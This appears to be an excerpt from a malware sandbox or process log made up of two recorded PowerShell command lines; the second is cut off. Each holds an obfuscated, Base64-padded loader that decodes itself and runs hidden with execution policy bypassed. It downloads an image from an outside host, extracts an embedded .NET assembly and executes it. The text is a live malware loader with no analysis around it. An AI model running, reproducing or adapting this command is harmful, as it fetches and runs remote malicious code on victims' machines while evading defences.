cmdline powershell -command "$Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡ÃKuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKuC8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQBhzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKudwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUbP‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGUzUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUbP‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKuD4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKuZQzUbP‡ÃKugzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCszUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuLgBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuYgBhzUbP‡ÃKuHMzUbP‡ÃKuZQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuTzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZwB0zUbP‡ÃKuGgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBzzUbP‡ÃKuHQzUbP‡ÃKuYQByzUbP‡ÃKuHQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBTzUbP‡ÃKuHUzUbP‡ÃKuYgBzzUbP‡ÃKuHQzUbP‡ÃKucgBpzUbP‡ÃKuG4zUbP‡ÃKuZwzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuQwBvzUbP‡ÃKuG4zUbP‡ÃKudgBlzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBdzUbP‡ÃKuDozUbP‡ÃKuOgBGzUbP‡ÃKuHIzUbP‡ÃKubwBtzUbP‡ÃKuEIzUbP‡ÃKuYQBzzUbP‡ÃKuGUzUbP‡ÃKuNgzUbP‡ÃKu0zUbP‡ÃKuFMzUbP‡ÃKudzUbP‡ÃKuByzUbP‡ÃKuGkzUbP‡ÃKubgBnzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGwzUbP‡ÃKubwBhzUbP‡ÃKuGQzUbP‡ÃKuZQBkzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuUgBlzUbP‡ÃKuGYzUbP‡ÃKubzUbP‡ÃKuBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBpzUbP‡ÃKuG8zUbP‡ÃKubgzUbP‡ÃKuuzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQBdzUbP‡ÃKuDozUbP‡ÃKuOgBMzUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuB0zUbP‡ÃKuHkzUbP‡ÃKuczUbP‡ÃKuBlzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKubzUbP‡ÃKuBvzUbP‡ÃKuGEzUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuGQzUbP‡ÃKuQQBzzUbP‡ÃKuHMzUbP‡ÃKuZQBtzUbP‡ÃKuGIzUbP‡ÃKubzUbP‡ÃKuB5zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuVzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCczUbP‡ÃKuRgBpzUbP‡ÃKuGIzUbP‡ÃKuZQByzUbP‡ÃKuC4zUbP‡ÃKuSzUbP‡ÃKuBvzUbP‡ÃKuG0zUbP‡ÃKuZQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuG0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKudzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuuzUbP‡ÃKuEczUbP‡ÃKuZQB0zUbP‡ÃKuE0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCgzUbP‡ÃKuJwBWzUbP‡ÃKuEEzUbP‡ÃKuSQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKudgBvzUbP‡ÃKuGszUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKubgB1zUbP‡ÃKuGwzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuWwBvzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBbzUbP‡ÃKuF0zUbP‡ÃKuXQzUbP‡ÃKugzUbP‡ÃKuCgzUbP‡ÃKuJwBkzUbP‡ÃKuEgzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKuwzUbP‡ÃKuEwzUbP‡ÃKubQBWzUbP‡ÃKuHUzUbP‡ÃKuYgzUbP‡ÃKuzzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKueQBZzUbP‡ÃKuFYzUbP‡ÃKuYwzUbP‡ÃKuxzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuBNzUbP‡ÃKuHkzUbP‡ÃKuTQBTzUbP‡ÃKuDkzUbP‡ÃKubzUbP‡ÃKuBizUbP‡ÃKuEczUbP‡ÃKubzUbP‡ÃKuBtzUbP‡ÃKuEwzUbP‡ÃKuegBJzUbP‡ÃKuHgzUbP‡ÃKuTQBpzUbP‡ÃKuDQzUbP‡ÃKuegBNzUbP‡ÃKuFQzUbP‡ÃKuRQB1zUbP‡ÃKuE4zUbP‡ÃKuVzUbP‡ÃKuBjzUbP‡ÃKuHgzUbP‡ÃKuTzUbP‡ÃKuBqzUbP‡ÃKuGMzUbP‡ÃKudwBNzUbP‡ÃKuFMzUbP‡ÃKuOzUbP‡ÃKuB2zUbP‡ÃKuE8zUbP‡ÃKubgBCzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuZzUbP‡ÃKuBHzUbP‡ÃKuGczUbP‡ÃKuPQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuDIzUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuMQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuQwzUbP‡ÃKu6zUbP‡ÃKuFwzUbP‡ÃKuVwBpzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKucwBczUbP‡ÃKuFQzUbP‡ÃKuZQBtzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuXzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuKQzUbP‡ÃKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡ÃKuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKuC8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQBhzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKudwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUbP‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGUzUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUbP‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKuD4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡